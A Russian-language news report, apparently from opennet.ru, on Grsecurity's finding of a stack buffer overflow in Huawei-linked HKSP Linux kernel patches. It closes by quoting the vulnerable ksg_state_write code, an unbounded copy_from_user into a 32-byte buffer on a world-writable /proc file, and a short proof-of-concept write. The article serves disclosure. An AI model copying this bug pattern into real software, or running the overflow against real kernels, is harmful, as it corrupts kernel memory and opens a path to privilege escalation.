ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒΡŽ Π² ΠΏΠ°Ρ‚Ρ‡Π°Ρ…, ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… сотрудником Huawei для Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ядра Linux

Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° Grsecurity ΠΎΠ±Ρ€Π°Ρ‚ΠΈΠ»ΠΈ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Ρ‚Ρ€ΠΈΠ²ΠΈΠ°Π»ΡŒΠ½ΠΎ эксплуатируСмой уязвимости Π² Π½Π°Π±ΠΎΡ€Π΅ ΠΏΠ°Ρ‚Ρ‡Π΅ΠΉ HKSP (Huawei Kernel Self Protection), нСсколько Π΄Π½Π΅ΠΉ Π½Π°Π·Π°Π΄ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ядра Linux. Битуация Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ случай с Samsung, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ бСзопасности систСмы ΠΏΡ€ΠΈΠ²Π΅Π»Π° ΠΊ появлСнию Π½ΠΎΠ²ΠΎΠΉ уязвимости ΠΈ упростила ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚Π°Ρ†ΠΈΡŽ устройств.

ΠŸΠ°Ρ‚Ρ‡ΠΈ HKSP Π±Ρ‹Π»ΠΈ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½Ρ‹ сотрудником ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ Huawei, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π½ΠΈΠ΅ Huawei Π² ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ GitHub ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ слово Huawei Π² Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠ΅ названия ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° (HKSP — Huawei Kernel Self Protection). ΠŸΡ€ΠΈ этом прСдставитСли Huawei ΠΎΠΏΡ€ΠΎΠ²Π΅Ρ€Π³Π»ΠΈ связь ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° HKSP с ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠ΅ΠΉ ΠΈ заявили, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ΄ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ ΠΏΠΎ Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΈΠ½ΠΈΡ†ΠΈΠ°Ρ‚ΠΈΠ²Π΅ Ρ€Π°Π±ΠΎΡ‚Π½ΠΈΠΊΠ°, Π½Π΅ являСтся ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ Huawei ΠΈ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°Ρ… Π΄Π°Π½Π½ΠΎΠΉ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ. На GitHub-страницС HKSP Π·Π°Π΄Π½ΠΈΠΌ числом послС обнаруТСния уязвимости Ρ‚Π°ΠΊΠΆΠ΅ Π±Ρ‹Π»ΠΎ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ развиваСтся Π² свободноС врСмя Π² ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… цСлях.

HKSP Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠ΅ измСнСния, ΠΊΠ°ΠΊ рандомизация смСщСний Π² структурС cred, Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ Π°Ρ‚Π°ΠΊ Π½Π° пространство ΠΈΠΌΡ‘Π½ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ (pid namespace), ΠΎΡ‚Π΄Π΅Π»Π΅Π½ΠΈΠ΅ стСка процСссов ΠΎΡ‚ области mmap, выявлСниС Π΄Π²ΠΎΠΉΠ½ΠΎΠ³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ kfree, Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΡƒΡ‚Π΅Ρ‡Π΅ΠΊ Ρ‡Π΅Ρ€Π΅Π· псСвдо-Π€Π‘ /proc (/proc/{modules, keys, key-users}, /proc/sys/kernel/* ΠΈ /proc/sys/vm/mmap_min_addr, /proc/kallsyms), ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ Ρ€Π°Π½Π΄ΠΎΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ адрСсов Π² пространствС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π·Π°Ρ‰ΠΈΡ‚Π° Ptrace, усилСниС Π·Π°Ρ‰ΠΈΡ‚Ρ‹ smap ΠΈ smep, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π·Π°ΠΏΡ€Π΅Ρ‚Π° ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Ρ‡Π΅Ρ€Π΅Π· raw-сокСты, Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹Ρ… адрСсов Π² UDP-сокСтах ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° цСлостности запускаСмых процСссов. Π’ состав Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ядра Ksguard, Π½Π°Ρ†Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠΏΡ‹Ρ‚ΠΎΠΊ внСдрСния Ρ‚ΠΈΠΏΠΎΠ²Ρ‹Ρ… Ρ€ΡƒΡ‚ΠΊΠΈΡ‚ΠΎΠ².

ΠŸΠ°Ρ‚Ρ‡ΠΈ Π²Ρ‹Π·Π²Π°Π»ΠΈ интСрСс Ρƒ Π“Ρ€Π΅Π³Π° ΠšΡ€ΠΎΠ°-Π₯Π°Ρ€Ρ‚ΠΌΠ°Π½Π° (Greg Kroah-Hartman), ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰Π΅Π³ΠΎ Π·Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΠΎΠΉ Π²Π΅Ρ‚ΠΊΠΈ ядра Linux, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ попросил Π°Π²Ρ‚ΠΎΡ€Π° Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ ΠΌΠΎΠ½ΠΎΠ»ΠΈΡ‚Π½Ρ‹ΠΉ ΠΏΠ°Ρ‚Ρ‡ Π½Π° части для упрощСния рСцСнзировния ΠΈ продвиТСния Π² основной состав ядра. КСс ΠšΡƒΠΊ (Kees Cook), Π²ΠΎΠ·Π³Π»Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ ΠΏΠΎ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠΆΠ΅Π½ΠΈΡŽ Π² ядро Linux Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Π·Π°Ρ‰ΠΈΡ‚Ρ‹, Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ отозвался ΠΎ ΠΏΠ°Ρ‚Ρ‡Π°Ρ… ΠΈ ΠΈΠ· ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΠ» Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° привязку ΠΊ Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π΅ x86 ΠΈ ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€ ΠΌΠ½ΠΎΠ³ΠΈΡ… Ρ€Π΅ΠΆΠΈΠΌΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ лишь выводят Π² Π»ΠΎΠ³ свСдСния ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅, Π½ΠΎ Π½Π΅ ΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ Π΅Ρ‘ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.

Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°Ρ‚Ρ‡Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ Grsecurity выявило мноТСство ошибок ΠΈ слабых мСст Π² ΠΊΠΎΠ΄Π΅, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΎ отсутствиС ΠΌΠΎΠ΄Π΅Π»ΠΈ ΡƒΠ³Ρ€ΠΎΠ·, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅ΠΉ Π°Π΄Π΅ΠΊΠ²Π°Ρ‚Π½ΠΎ ΡΡƒΠ΄ΠΈΡ‚ΡŒ ΠΎ возмоТностях ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°. Для наглядной дСмонстрации Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ΄ написан Π±Π΅Π· примСнСния ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² бСзопасного программирования, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Ρ€ΠΈΠ²ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ уязвимости Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅
Ρ„Π°ΠΉΠ»Π° /proc/ksguard/state, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаётся с ΠΏΡ€Π°Π²Π°ΠΌΠΈ 0777, ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°ΡŽΡ‰ΠΈΠΌΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ доступа всСм Π½Π° запись. Π’ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ksg_state_write, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠΉ для Ρ€Π°Π·Π±ΠΎΡ€Π° ΠΊΠΎΠΌΠ°Π½Π΄, записываСмых Π² /proc/ksguard/state, создаётся Π±ΡƒΡ„Π΅Ρ€ tmp[32], Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Π½Π½Ρ‹Π΅ Π·Π°ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π½Π° основании Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π°, Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π° Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ Π±ΡƒΡ„Π΅Ρ€Π° ΠΈ Π±Π΅Π· ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ строки. Π’.Π΅. для пСрСзаписи части стСка ядра Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΌΡƒ достаточно Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½Π½ΡƒΡŽ строку Π² /proc/ksguard/state.

static ssize_t ksg_state_write(struct file *file, const char __user *buf,
size_t len, loff_t *offset)
{
u64 value;
char tmp[32];
size_t n = 0;

if (copy_from_user(tmp, buf, len))
return -1;

value = simple_strtoul(tmp, ‘\0’, 10);

ΠŸΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ эксплоита:

char buf[4096] = { };
int fd = open(«/proc/ksguard/state», O_WRONLY);
if (fd >= 0) {
write(fd, buf, sizeof(buf));
close(fd);
}

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru